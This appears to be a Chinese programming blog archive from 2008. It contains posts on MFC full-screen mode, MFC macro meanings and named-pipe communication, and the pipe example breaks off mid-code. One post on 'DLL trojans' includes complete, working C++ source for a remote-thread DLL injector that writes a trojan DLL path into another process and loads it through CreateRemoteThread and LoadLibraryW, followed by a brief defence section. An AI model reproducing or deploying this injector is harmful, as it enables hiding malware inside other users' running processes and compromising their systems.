在VC++6.0开发中实现全屏显示

    全屏显示是一些应用软件程序必不可少的功能。比如在用VC++编辑工程源文件或编辑对话框等资源时,选择菜单“ViewFull Screen”,即可进入全屏显示状态,按“Esc”键后会退出全屏显示状态。
  在VC++6.0中我们用AppWizard按默认方式生成单文档界面的应用程序框架。下面将先讨论点击菜单项“ViewFull Screen”实现全屏显示的方法,再讲述按“Esc”键后如何退出全屏显示状态。
  1)在CMainFrame类中,增加如下三个成员变量。

[language=CPP]
Class CMainFrame : public CFrameWnd
{

private: //自己添加的三个成员变量
WINDOWPLACEMENT m_OldWndPlacement;//用来保存原窗口位置
BOOL m_bFullScreen; //全屏显示标志
Crect m_FullScreenRect; //表示全屏显示时的窗口位置
protected: CMainFrame();
DECLARE_DYNCREATE(CMainFrame)

}

[/language]
  2)在资源编辑器中编辑菜单IDR_MAINFRAME。在“View”菜单栏下添加菜单项“Full Screen”。在其属性框中,ID设置为ID_FULL_SCREEN,Caption为“Full Screen”。还可以在工具栏中添加新的工具图标,并使之与菜单项“Full Screen”相关联,即将其ID值也设置为ID_FULL_SCREEN。


  3)设计全屏显示处理函数,在CMainFrame类增加上述菜单项ID_FULL_SCREEN消息的响应函数。响应函数如下:

[language=CPP]
void CMainFrame::OnFullScreen()
{

GetWindowPlacement(&m_OldWndPlacement);
Crect WindowRect;
GetWindowRect(&WindowRect);
Crect ClientRect;
RepositionBars(0, 0xffff, AFX_IDW_PANE_FIRST, reposQuery,&ClientRect);
ClientToScreen(&ClientRect);

//获取屏幕的分辨率
int nFullWidth=GetSystemMetrics(SM_CXSCREEN);
int nFullHeight=GetSystemMetrics(SM_CYSCREEN);
/*将除控制条外的客户区全屏显示到从(0,0)到(nFullWidth, nFullHeight)区域, 将(0,0)和(nFullWidth, nFullHeight)两个点外扩充原窗口和除控制条之外的 客户区位置间的差值, 就得到全屏显示的窗口位置*/
m_FullScreenRect.left=WindowRect.left-ClientRect.left;
m_FullScreenRect.top=WindowRect.top-ClientRect.top;
m_FullScreenRect.right=WindowRect.right-ClientRect.right+nFullWidth;
m_FullScreenRect.bottom=WindowRect.bottom-ClientRect.bottom+nFullHeight;
m_bFullScreen=TRUE; //设置全屏显示标志为 TRUE
//进入全屏显示状态
WINDOWPLACEMENT wndpl;
wndpl.length=sizeof(WINDOWPLACEMENT);
wndpl.flags=0;
wndpl.showCmd=SW_SHOWNORMAL;
wndpl.rcNormalPosition=m_FullScreenRect;
SetWindowPlacement(&wndpl);

}

[/language]
  4)重载CMainFrame类的OnGetMinMaxInfo函数,在全屏显示时提供全屏显示的位置信息。

[language=CPP]
Void CMainFrame::OnGetMinMaxInfo(MINMAXINFO FAR* lpMMI)
{

if(m_bFullScreen)
{lpMMI->ptMaxSize.x=m_FullScreenRect.Width();
lpMMI->ptMaxSize.y=m_FullScreenRect.Height();
lpMMI->ptMaxPosition.x=m_FullScreenRect.Width();
lpMMI->ptMaxPosition.y=m_FullScreenRect.Height();
//最大的Track尺寸也要改变
lpMMI->ptMaxTrackSize.x=m_FullScreenRect.Width();
lpMMI->ptMaxTrackSize.y=m_FullScreenRect.Height();
}

CFrameWnd::OnGetMinMaxInfo(lpMMI) ;
}

[/language]

完成上面的编程后,可以联编执行FullScreen.exe,选择菜单“ViewFull Screen”或点击与之关联的工具栏按钮即可进入全屏显示状态。但现在还需要增加用户退出全屏显示状态的操作接口,下面讲述如何编程实现按“Esc”键退出全屏显示状态。


  1)在ClassView中选中CMainFrame并单击鼠标右键,选择“Add Member Function…”,添加public类型的成员函数EndFullScreen,该函数将完成退出全屏显示的操作。

[language=CPP]
Void CMainFrame::EndFullScreen()
{

if(m_bFullScreen)
{

// 退出全屏显示, 恢复原窗口显示
ShowWindow(SW_HIDE);
SetWindowPlacement(&m_OldWndPlacement);

}

}

[/language]
  2)函数EndFullScreen可以退出全屏显示状态,问题是如何在“Esc”键被按下之后调用执行此函数。由于视图类可以处理键盘输入的有关消息(如WM_KEYDOWN表示用户按下了某一个键),我们将在视图类CFullScreenView中添加处理按键消息WM_KEYDOWN的响应函数OnKeyDown。判断如果按的键为“Esc”键,则调用CMainFrame类的函数EndFullScreen,便可退出全屏显示状态。

[language=CPP]
Void CFullScreenView::OnKeyDown(UINT nChar, UINT nRepCnt, UINT nFlags)
{

if(nChar==VK_ESCAPE) //如果按的键为Esc键
{

//获取主框架窗口的指针
CMainFrame *pFrame=(CMainFrame*)AfxGetApp()->m_pMainWnd;
//调用主窗口类的自定义函数 EndFullScreen ,便可退出全屏显示状态
pFrame->EndFullScreen();

}
Cview::OnKeyDown(nChar, nRepCnt, nFlags);

}

[/language]
  这样我们就实现了比较专业的全屏显示的功能,相信肯定会令你设计的软件程序增色不少。




Modified At 2008-03-28 09:29:47

VC++动态链接库编程之DLL木马

DLL在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌握在邪恶之徒的手上,则必然在江湖上掀起腥风血雨。DLL正是一种这样的武学。DLL一旦染上了魔性,就不再是正常的DLL程序,而是DLL木马,一种恶贯满盈的病毒,令特洛伊一夜之间国破家亡。

 

DLL木马的原理

 

DLL木马的实现原理是编程者在DLL中包含木马程序代码,随后在目标主机中选择特定目标进程,以某种方式强行指定该进程调用包含木马程序的DLL,最终达到侵袭目标系统的目的。

 

正是DLL程序自身的特点决定了以这种形式加载木马不仅可行,而且具有良好的隐藏性:

 

(1)DLL程序被映射到宿主进程的地址空间中,它能够共享宿主进程的资源,并根据宿主进程在目标主机的级别非法访问相应的系统资源;

 

(2)DLL程序没有独立的进程地址空间,从而可以避免在目标主机中留下”蛛丝马迹”,达到隐蔽自身的目的。

 

DLL木马实现了”真隐藏”,我们在任务管理器中看不到木马”进程”,它完全溶进了系统的内核。与”真隐藏”对应的是”假隐藏”,”假隐藏”木马把自己注册成为一个服务。虽然在任务管理器中也看不到这个进程,但是”假隐藏”木马本质上还具备独立的进程空间。”假隐藏”只适用于Windows9x的系统,对于基于WINNT的操作系统,通过服务管理器,我们可以发现系统中注册过的服务。

 

DLL木马注入其它进程的方法为远程线程插入。

 

远程线程插入技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。将木马程序以DLL的形式实现后,需要使用插入到目标进程中的远程线程将该木马DLL插入到目标进程的地址空间,即利用该线程通过调用Windows API LoadLibrary函数来加载木马DLL,从而实现木马对系统的侵害。

 

DLL木马注入程序

 

这里涉及到一个非常重要的Windows API――CreateRemoteThread。与之相比,我们所习惯使用的CreateThread API函数只能在进程自身内部产生一个新的线程,而且被创建的新线程与主线程共享地址空间和其他资源。而CreateRemoteThread则不同,它可以在另外的进程中产生线程!CreateRemoteThread有如下特点:

 

(1)CreateRemoteThread 较 CreateThread多一个参数hProcess,该参数用于指定要创建线程的远程进程,其函数原型为:

[language=CPP]

HANDLE CreateRemoteThread(

HANDLE hProcess, //远程进程句柄

LPSECURITY_ATTRIBUTES lpThreadAttributes,

SIZE_T dwStackSize,

LPTHREAD_START_ROUTINE lpStartAddress,

LPVOID lpParameter,

DWORD dwCreationFlags,

LPDWORD lpThreadId

);

[/language]

(2)线程函数的代码不能位于我们用来注入DLL木马的进程所在的地址空间中。也就是说,我们不能想当然地自己写一个函数,并把这个函数作为远程线程的入口函数;

 

(3)不能把本进程的指针作为CreateRemoteThread的参数,因为本进程的内存空间与远程进程的不一样。

以下程序由作者Shotgun的DLL木马注入程序简化而得(单击此处下载,在经典书籍《Windows核心编程》中我们也可以看到类似的例子),它将d盘根目录下的troydll.dll插入到ID为4000的进程中:

[language=CPP]

#include <windows.h>

#include <stdlib.h>

#include <stdio.h>

void CheckError ( int, int, char *); //出错处理函数

PDWORD pdwThreadId;

HANDLE hRemoteThread, hRemoteProcess;

DWORD fdwCreate, dwStackSize, dwRemoteProcessId;

PWSTR pszLibFileRemote=NULL;

void main(int argc,char **argv)

{

int iReturnCode;

char lpDllFullPathName[MAX_PATH];

WCHAR pszLibFileName[MAX_PATH]={0};

dwRemoteProcessId = 4000;

strcpy(lpDllFullPathName, “d:\\troydll.dll”);

//将DLL文件全路径的ANSI码转换成UNICODE码

iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,

lpDllFullPathName, strlen(lpDllFullPathName),

pszLibFileName, MAX_PATH);

CheckError(iReturnCode, 0, “MultByteToWideChar”);

//打开远程进程

hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程

PROCESS_VM_OPERATION | //允许VM操作

PROCESS_VM_WRITE, //允许VM写

FALSE, dwRemoteProcessId );

CheckError( (int) hRemoteProcess, NULL, “Remote Process not Exist or Access Denied!”);

//计算DLL路径名需要的内存空间

int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);

pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);

CheckError((int)pszLibFileRemote, NULL, “VirtualAllocEx”);

//将DLL的路径名复制到远程进程的内存空间

iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);

CheckError(iReturnCode, false, “WriteProcessMemory”);

//计算LoadLibraryW的入口地址

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)

GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)), “LoadLibraryW”);

CheckError((int)pfnStartAddr, NULL, “GetProcAddress”);

//启动远程线程,通过远程线程调用用户的DLL文件

hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);

CheckError((int)hRemoteThread, NULL, “Create Remote Thread”);

//等待远程线程退出

WaitForSingleObject(hRemoteThread, INFINITE);

//清场处理

if (pszLibFileRemote != NULL)

{

VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);

}

if (hRemoteThread != NULL)

{

CloseHandle(hRemoteThread );

}

if (hRemoteProcess!= NULL)

{

CloseHandle(hRemoteProcess);

}

}

//错误处理函数CheckError()

void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)

{

if(iReturnCode==iErrorCode)

{

printf(“%s Error:%d\n\n”, pErrorMsg, GetLastError());

//清场处理

if (pszLibFileRemote != NULL)

{

VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);

}

if (hRemoteThread != NULL)

{

CloseHandle(hRemoteThread );

}

if (hRemoteProcess!= NULL)

{

CloseHandle(hRemoteProcess);

}

exit(0);

}

}

[/language]

从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为:

 

(1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId;

 

(2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName;

 

(3)利用Windows API OpenProcess打开宿主进程,应该开启下列选项:

 

a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;

 

b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;

 

c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。

 

(4)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间;

 

(5)利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,这个函数将作为随后将启动的远程线程的入口函数;

 

(6)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL;

 

(7)清理现场。

 

DLL木马的防治

 

从DLL木马的原理和一个简单的DLL木马程序中我们学到了DLL木马的工作方式,这可以帮助我们更好地理解DLL木马病毒的防治手段。

 

一般的木马被植入后要打开一网络端口与攻击程序通信,所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查,我们可以让防火墙对通讯端口进行限制,只允许系统接受几个特定端口的数据请求。这样,即使木马植入成功,攻击者也无法进入到受侵系统,防火墙把攻击者和木马分隔开来了。

 

对于DLL木马,一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的DLL,如果其中有一些莫名其妙的DLL,则可以断言这个进程是宿主进程,系统被植入了DLL木马。”道高一尺,魔高一丈”,现如今,DLL木马也发展到了更高的境界,它们看起来也不再”莫名其妙”。在最新的一些木马里面,开始采用了先进的DLL陷阱技术,编程者用特洛伊DLL替换已知的系统DLL。特洛伊DLL对所有的函数调用进行过滤,对于正常的调用,使用函数转发器直接转发给被替换的系统DLL;对于一些事先约定好的特殊情况,DLL会执行一些相应的操作。

本文给出的只是DLL木马最简单情况的介绍,读者若有兴趣深入研究,可以参考其它资料。

 




Modified At 2008-03-27 22:21:28

Visual C++MFC中常用宏的含义

AND_CATCHAND_CATCH
AND_CATCH(exception_class,exception _object_point_name)
说明:
定义一个代码块,它用于获取废除当前TRY块中的附加异常类型。使用CATCH宏以获得一个异常类型,然后
使用AND_CATCH宏获得随后的异常处理代码可以访问异常对象(若合适的话)已得到关于异常的特别原因的
更多消息。在AND_CATCH块中调用THROW_LAST宏以便把处理过程移到下个外部异常框架。AND_CATCH可标记
CATCH或AND_CATCH块的末尾。
 
注释:
AND_CATCH块被定义成为一个C++作用域(由花括号来描述)。若用户在此作用域定义变量,那么记住他们
只在此作用域中可以访问。他也用于exception_object_pointer_name变量。
 
 
 
ASSERT
ASSERT(booleanExpression)
说明:
计算变量的值。如果结构的值为0,那么此宏便打印一个诊断消息并且成讯运行失败。如果条件为非0,那
么什么也不做。 诊断消息的形式为: assertion failed in file in line 其中name是元文件名,num是
源文件中运行失败的中断号。 在Release版中,ASSERT不计算表达式的值也就不中断程序。如果必须计算
此表达式的值且不管环境如何那么用VERIFY代鍭SSERT。
注释:
ASSERT只能在Debug版中用
 
 
ASSERT_VAILD
ASSERT_VAILD(pObject)
说明:
用于检测关于对象的内部状态的有效性。ASSERT_VALID调用此对象的AssertValid成员函数(把它们作为
自己的变量来传递)。在Release版中ASSERT_VALID什么也不做。在DEBUG版中,他检查指针,以不同于
NULL的方式进行检查,并调用对象自己的AssertValid成员函数。如果这些检测中有任何一个失败的话,
那么他会以与ASSERT相同的方法显示一个警告的消息。
注释:
此函数只在DEBUG版中有效。
 
 
BEGIN_MESSAGE_MAP
BEGIN_MESSAGE_MAP(the class,baseclass)
说明:
使用BEGIN_MESSAGE_MAP开始用户消息映射的定义。在定义用户类函数的工具(.cpp)文件中,以
BEGIN_MESSAGE_MAP宏开始消息映射,然后为每个消息处理函数增加宏项,接着以END_MESSAGE_MAP宏完成
消息映射。
 
 
CATCH
CATCH(exception_class,exception_object_pointer_name)
说明:
使用此用定义一个代码块,此代码用来获取当前TRY块中都一个异常类型。异常处理代码可以访问异常对
象,如何合适的话,就会得到关于异常的特殊原因的更多消息。调用THROW_LAST宏以把处理过程一下一个
外部异常框架,如果exception-class是类CExceptioon,那么会获取所有异常类型。用户可以使用
CObject::IsKindOf成员函数以确定那个特别异常被排除。一种获取异常的最好方式是使用顺序的
AND_CATCH语句,每个带一个不同的异常类型。此异常类型的指针由宏定义,用户不必定义。
注释:
此CATCH块被定义作一个C++范围(由花括号描述)。如用户在此范围定义变量,那么它们只在吃范围内可
以访问。他还可以用于异常对象的指针名。
 
 
DEBUG_NEW
#define new DEBUG_NEW
说明:
帮助查找内存错误。用户在程序中使用DEBUG_NEW,用户通常使用new运算符来从堆上分配。在Debug模式下
(但定义了一个DEBUG符号),DEBUG_NEW为它分配的每个对象记录文件名和行号。然后,在用户使用
CMemoryState::DumpAllObjectSince成员函数时,每个以DEBUG_NEW分配的对象分配的地方显示出文件名
和行号。 为了使用DEBUG_NEW,应在用户的资源文件中插入以下指令: #define new DEBUG_NEW 一旦用户
插入本指令,预处理程序将在使用new的地方插入DEBUG_NEW,而MFC作其余的工作。但用户编译自己的程
序的一个发行版时,DEBUG_NEW便进行简单的new操作,而且不产生文件名和行号消息。
 
 
DECLARE_DYNAMIC
DECLARE_DYNAMIC(class_name)
说明:
但从CObject派生一个类时,此宏增加关于一个对象类的访问运行时间功能。把DECLARE_DYNAMIC宏加入类
的头文件中,然后在全部需要访问词类对象的.CPP文件中都包含此模块。如果像所描述那样使用
DELCARE_DYNAMIC和IMPLEMENT_DYNAMIC宏,那么用户便可使用RUNTIME_CLASS宏和CObject::IsKindOf函数
以在运行时间决定对象类。如果DECLARE_DYNAMIC包含在类定义中,那么IMPLEMETN_DYNAMIC必须包含在类
工具中。
 
 
DECLARE_DYNCREATE
DECLARE_DYNCREATE(class_name)
说明:
使用DECLARE_DYNCRETE宏以便允许CObject派生类的对象在运行时刻自动建立。主机使用此功能自动建立
新对象,例如,但它在串行化过程中从磁盘读一个对象时,文件及视图和框架窗应该支持动态建立,因为
框架需要自动建立它。把DECLARE_DYNCREATE宏加入类的.H文件中,然后在全部需要访问此类对象的.CPP
文件中包含这一模式。如果DECLARE_DYNCREATE包含在类定义中,那么IMPLEMENT_DYNCREATE必须包含在类
工具中。
 
 
DECLARE_MESSAGE_MAP
DECLARE_MESSAGE_MAP()
说明:
用户程序中的每个CCmdTarget派生类必须提供消息映射以处理消息。在类定义的末尾使用
DECLARE_MESSAGE_MAP宏。接着,在定义类成员函数的.CPP文件中,使用BEGIN_MESSAGE_MAP宏,每个用户
消息处理函数的宏项下面的列表以及END_MESSAGE_MAP宏。
注释:
如果在DECLARE_MESSAGE_MAP之后定义任何一个成员,那么必须为他们指定一个新存取类型(公共的,私
有的,保护的)。
 
 
DECLARE_SERIAL
DECLARE_SERIAL(class_name)
说明:
DECLARE_SERIAL为一个可以串行化的CObject派生类产生必要的C++标题代码。串行化是把某个对象的内容
从一个文件读出和写入一文件。在.H文件中使用DECLARE_SERIAL宏,接着在需要访问此类对象的全部.CPP
文件中包含此文件。如果DECLARE_SERIAL包含在类定义中,那么IMPLEMENT_SERIAL必须包含在类工具中。
DECLARE_SERIAL宏包含全部DECLARE_DYNAMIC,IMPLEMENT_DYCREATE的功能。
 
 
END_CATCH
END_CATCH
说明:
标识最后的CATCH或AND_CATCH块的末尾。
 
 
END_MESSAGE_MAP
END_MESSAGE_MAP
说明:
使用END_MESSAGE_MAP宏结束用户的消息映射定义
 
IMPLEMENT_DYNAMIC
IMPLEMENT_DYNAMIC(class_name,base_class_name)
说明:
通过运行时在串行结构中为动态CObject派生类访问类名和位置来产生必要的C++代码。在.CPP文件中使用
IMPLEMENT_DYNAMIC宏,接着一次链接结果对象代码
 
 
IMPLEMENT_DYNCREATE
IMPLEMENT_DYNCREATE(class_name,base_class_name)
说明:
通过DECLARE_DYNCREATE宏来使用IMPLEMENT_DYNCREATE宏,以允许CObject派生类对象在运行时自动建立
。主机使用此功能自动建立对象,例如,但它在串行化过程中从磁盘读去一个对象时,他在类工具里加入
IMPLEMENT_DYNCREATE宏。若用户使用DECLARE_DYNCREATE和IMPLEMENT_DYNCREATE宏,那么接着使用
RUNTIME_CLASS宏和CObject::IsKindOf成员函数以在运行时确定对象类。若declare_dyncreate包含在定
义中,那么IMPLEMENT_DYNCREATE必须包含在类工具中。
 
 
IMPLEMENT_SERIAL
IMPLEMENT_SERIAL(class_name,base_class_name,wSchema)
说明:
通过运行时在串行结构中动态CObject派生类访问类名和位置来建立必要的C++代码。在.CPP文件中使用
IMPLEMENT_SERIAL宏,然后一次链接结果对象代码。
 
 
ON_COMMAND
ON_COMMAND(id,memberFxn)
说明:
此宏通过ClassWizard或手工插入一个消息映射。它表明那个函数将从一个命令用户接口(例如一个菜单
项或toolbar按钮)处理一个命令消息。当一个命令对象通过指定的ID接受到一个Windows WM_COMMAND消
息时,ON_COMMAND将调用成员函数memberFxn处理此消息。在用户的消息映射中,对于每个菜单或加速器
命令(必须被映射到一个消息处理函数)应该确实有一个ON_COMMAND宏语句。
 
 
ON_CONTROL
ON_CONTROL(wNotifyCode,id,memberFxn)
说明:
表明哪个函数将处理一个常规控制表示消息。控制标识消息是那些从一个控制夫发送到母窗口的消息。
 
 
ON_MESSAGE
ON_MESSAGE(message,memberFxn)
说明:
指明哪个函数将处理一用户定义消息。用户定义消息通常定义在WM_USER到0x7FF范围内。用户定义消息是
那些不是标准Windows WM_MESSAGE消息的任何消息。在用户的消息映射中,每个必须被映射到一个消息处
理函数。用户定义消息应该有一个ON_MESSAGE宏语句。
 
 
ON_REGISTERED_MESSAGE
ON_REGISTERED_MESSAGE(nmessageVarible,memberFxn)
说明:
Windows的RegisterWindowsMesage函数用于定义一个新窗口消息,此消息保证在整个系统中是唯一的。此
宏表明哪个函数处理已注册消息。变量nMessageViable应以NEAR修饰符来定义。
 
 
ON_UPDATE_COMMAND_UI
ON_UPDATE_COMMAND_UI(id,memberFxn)
说明:
此宏通常通过ClassWizard被插入一个消息映射,以指明哪个函数将处理一个用户接口个更改命令消息。
在用户的消息映射中,每个用户接口更改命令(比讯被映射到一个消息处理函数)应该有一个
ON_UPDATE_COMMAND_UI宏语句。
 
 
ON_VBXEVENT
ON_VBXEVENT(wNotifyCode,memberFxn)
说明:
此宏通常通过ClassWizard被插入一个消息映射,以指明哪个函数将处理一个来自VBX控制的消息。在用户
的消息映射中每个被映射到一消息处理函数的VBX控制消息应该有一个宏语句。
 
 
RUNTIME_CLASS
RUNTIME_CLASS(class_name)
说明:
使用此宏从c++类民众获取运行时类结构。RUNTIME_CLASS为由class_name指定的类返回一个指针到
CRuntimeClass结构。只有以DECLARE_DYNAMIC,DECLARE_DYNCREATE或DECLARE_SERIAL定义的CObject派生
类才返回到一个CRuntimeClass结构的指针。
 
 
THROW
THROW(exception_object_pointer)
说明:
派出指定的异常。THROW中断程序的运行,把控制传递给用户程序中的相关的CATCH块。如果用户没有提供
CATCH块,那么控制被传递到一个MFC模块,他打印出一个错误并终止运行。
 
 
THROW_LAST
THROW_LAST()
说明:
此宏允许用户派出一个局部建立的异常。如果用户试图排除一个刚发现的异常,那么一般此异常将溢出并
被删除。使用THROW_LAST,此异常被直接传送到下一个CATCH处理程序。
 
 
TRACE
TRACE(exp)
说明:
把一个格式化字符串送到转储设备,例如,文件或调试监视器,而提供与printf相似的功能。同MS_DOS下
C程序的printf一样,TRACE宏是一个在程序运行时跟踪变量值的方便形式。在DEBUG环境中,TRACE宏输出
到afxDump。在Release版中他不做任何工作。
注释:
此宏只在MFC的DEBUG版中有效。
 
 
TRACE0
TRACE0(exp)
说明:
与TRACE相似,但他把跟踪字符串放在代码段中,而不是DGROUP,因此使用少的DGROUP空间。TRACE0是一组
跟踪宏的一个变体,这些宏可用于调试输出。这一组包括TRACE0,TRACE1,TRACE2和TRACE3,这些宏不同在
于所取参数的数目不同。TRACE0只取一个格式化字符串并可用于简单文本消息。TRACE1取一格式化字符串
加上一个变量——一个将转储的变量。同样,TRACE2,TRACE3分别取2个或3个参数(在格式化字符串之后
)。如果用户以便以了应用程序的发行版,那么它只把数据转储到afxDump。
注释:
此宏只在MFC的DEBUG中有效。
 
 
TRACE1
TRACE1(exp,param1)
说明:
参见TRACE0
 
 
TRACE2
TRACE2(exp,param1,param2)
说明:
参见TRACE0
 
 
TRACE3
TRACE3(exp,param1,param2,param3)
说明:
 
 
TRY
TRY
说明:
使用此宏建立一TRY块。一个TRY识别一个可排除异常的代码块。这些异常在随后的CATCH和AND_CATCH块处
理。传递是允许的:异常可以传递一个外部TRY块,或者忽略它们或者使用THROW_LAST宏。
 
 
VERIFY
VERIFY(booleanExpression)
说明:
在MFC的DEBUG版中,VERIFY宏计算它的变量值。 如果结果为0,那么宏打印一个诊断消息并中止程序。如
果条件不为0,那么什么工作也不作。 诊断有如下形式: assertion failed in file in line 其中name
是源文件的名字,num是在源文件中失败的中止行号。在MFC的Release版中,VERIFY计算表达式值但不打
印或中止程序。例如:如果表达式是个函数调用,那么调用成功。
 

进程间通信-命名管道


  • 命名管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节。我们在不了解网络协议的情况下,也可以利用命名管道来实现进程间的通信。

  • 命名管道充分利用了Windows NT和Windows 2000内建的安全机制。

  • 将命名管道作为一种网络编程方案时,它实际上建立了一个客户机/服务器通信体系,并在其中可靠地传输数据。

  • 命名管道是围绕Windows文件系统设计的一种机制,采用“命名管道文件系统(Named Pipe File System,NPFS)”接口,因此,客户机和服务器可利用标准的Win32文件系统函数(例如:ReadFile和WriteFile)来进行数据的收发。

  • 命名管道服务器和客户机的区别在于:服务器是唯一一个有权创建命名管道的进程,也只有它才能接受管道客户机的连接请求。而客户机只能同一个现成的命名管道服务器建立连接。

  • 命名管道服务器只能在Windows NT或Windows 2000上创建,所以,我们无法在两台Windows 95或Windows 98计算机之间利用管道进行通信。不过,客户机可以是Windows 95或Windows 98计算机,与Windows NT或Windows 2000计算机进行连接通信。

  • 命名管道提供了两种基本通信模式:字节模式和消息模式。在字节模式中,数据以一个连续的字节流的形式,在客户机和服务器之间流动。而在消息模式中,客户机和服务器则通过一系列不连续的数据单位,进行数据的收发,每次在管道上发出了一条消息后,它必须作为一条完整的消息读入。


①HANDLE CreateNamedPipe (
  LPCTSTR lpName,         // pointer to pipe name
  DWORD dwOpenMode,       // pipe open mode
  DWORD dwPipeMode,       // pipe-specific modes
  DWORD nMaxInstances,    // maximum number of instances
  DWORD nOutBufferSize,   // output buffer size, in bytes
  DWORD nInBufferSize,    // input buffer size, in bytes
  DWORD nDefaultTimeOut,  // time-out time, in milliseconds
  LPSECURITY_ATTRIBUTES lpSecurityAttributes  // pointer to security attributes
);


(The CreateNamedPipe function creates an instance of a named pipe and returns a handle for subsequent pipe operations. A named pipe server process uses this function either to create the first instance of a specific named pipe and establish its basic attributes or to create a new instance of an existing named pipe. If the function succeeds, the return value is a handle to the server end of a named pipe instance. If the function fails, the return value is INVALID_HANDLE_VALUE. To get extended error information, call GetLastError. The return value is ERROR_INVALID_PARAMETER if nMaxInstances is greater than  PIPE_UNLIMITED_INSTANCES.)


lpName
Pointer to the null-terminated string that uniquely identifies the pipe. The string must have the following form:
\\.\pipe\pipename
以\\开始,这里 . 表示本地机器,,如果用连接到远程机器则需要填写远程主机得名字,pipe是pipe硬编码,不用修改,直接填pipe就可以了,pipename是创建的管道的名字。


nDefaultTimeOut
Specifies the default time-out value, in milliseconds, if the WaitNamedPipe function specifies NMPWAIT_USE_DEFAULT_WAIT. Each instance of a named pipe must specify the same value.

 

 

②BOOL ConnectNamedPipe (
  HANDLE hNamedPipe,          // handle to named pipe to connect
  LPOVERLAPPED lpOverlapped   // pointer to overlapped structure
);


(The ConnectNamedPipe function enables a named pipe server process to wait for a client process to connect to an instance of a named pipe. A client process connects by calling either the CreateFile or CallNamedPipe function. If the function succeeds, the return value is nonzero.If the function fails, the return value is zero. To get extended error information, call GetLastError.)
注意这个函数的名字容易引起歧义,仔细参见函数说明。这里参数lpOverlapped是有用的。

 

 

③typedef struct _OVERLAPPED { // o
    DWORD  Internal;
    DWORD  InternalHigh;
    DWORD  Offset;
    DWORD  OffsetHigh;
    HANDLE hEvent;
} OVERLAPPED;


hEvent
Handle to an event set to the signaled state when the transfer has been completed. The calling process sets this member before calling the ReadFile, WriteFile, ConnectNamedPipe, or TransactNamedPipe function.

 

 

④BOOL WaitNamedPipe(
  LPCTSTR lpNamedPipeName,  // pointer to name of pipe for which to wait
  DWORD nTimeOut            // time-out interval, in milliseconds
);


(The WaitNamedPipe function waits until either a time-out interval elapses or an instance of the specified named pipe is available to be connected to (that is, the pipe’s server process has a pending ConnectNamedPipe operation on the pipe)).


lpNamedPipeName
Pointer to a null-terminated string that specifies the name of the named pipe. The string must include the name of the computer on which the server process is executing. A period may be used for the servername if the pipe is local. The following pipe name format is used:
\\servername\pipe\pipename

 

 


Eg:
服务端:

void CNamedPipeSrvView::OnPipeCreate()
{
 hPipe=CreateNamedPipe(“\\\\.\\pipe\\MyPipe“,
  PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
  0,1,1024,1024,0,NULL);
 if(INVALID_HANDLE_VALUE==hPipe)
 {
  MessageBox(“创建命名管道失败!”);
  hPipe=NULL;
  return;
 }
 HANDLE hEvent;
 hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
 if(!hEvent)
 {
  MessageBox(“创建事件对象失败!”);
  CloseHandle(hPipe);
  hPipe=NULL;
  return;
 }
 OVERLAPPED ovlap;
 ZeroMemory(&ovlap,sizeof(OVERLAPPED));
 ovlap.hEvent=hEvent;
 if(!ConnectNamedPipe(hPipe,&ovlap))
 {
  if(ERROR_IO_PENDING!=GetLastError())
  {
   MessageBox(“等待客户端连接失败!”);
   CloseHandle(hPipe);
   CloseHandle(hEvent);
   hPipe=NULL;
   return;
  }
 }
 if(WAIT_FAILED==WaitForSingleObject(hEvent,INFINITE))
 {
  MessageBox(“等待对象失败!”);
  CloseHandle(hPipe);
  CloseHandle(hEvent);
  hPipe=NULL;
  return;
 }
 CloseHandle(hEvent);
}

void CNamedPipeSrvView::OnPipeRead()
{
 char buf[100];
 DWORD dwRead;
 if(!ReadFile(hPipe,buf,100,&dwRead,NULL))
 {
  MessageBox(“读取数据失败!”);
  return;
 }
 MessageBox(buf);
}

void CNamedPipeSrvView::OnPipeWrite()
{
 char buf[]=”Hello named pipe!”;
 DWORD dwWrite;
 if(!WriteFile(hPipe,buf,strlen(buf)+1,&dwWrite,NULL))
 {
  MessageBox(“写入数据失败!”);
  return;
 }
}

 

 

 

 

 

 

 

 

 

客户端:
void CNamedPipeCltView::OnPipeConnect()
{
 if(!WaitNamedPipe(“\\\\.\\pipe\\MyPipe”,NMPWAIT_WAIT_FOREVER))
 {
  MessageBox(“当前没有可利用的命名管道实例!”);
  return;
 }
 hPipe=CreateFile(“\\\\.\\pipe\\MyPipe”,GENERIC_READ | GENERIC_WRITE,
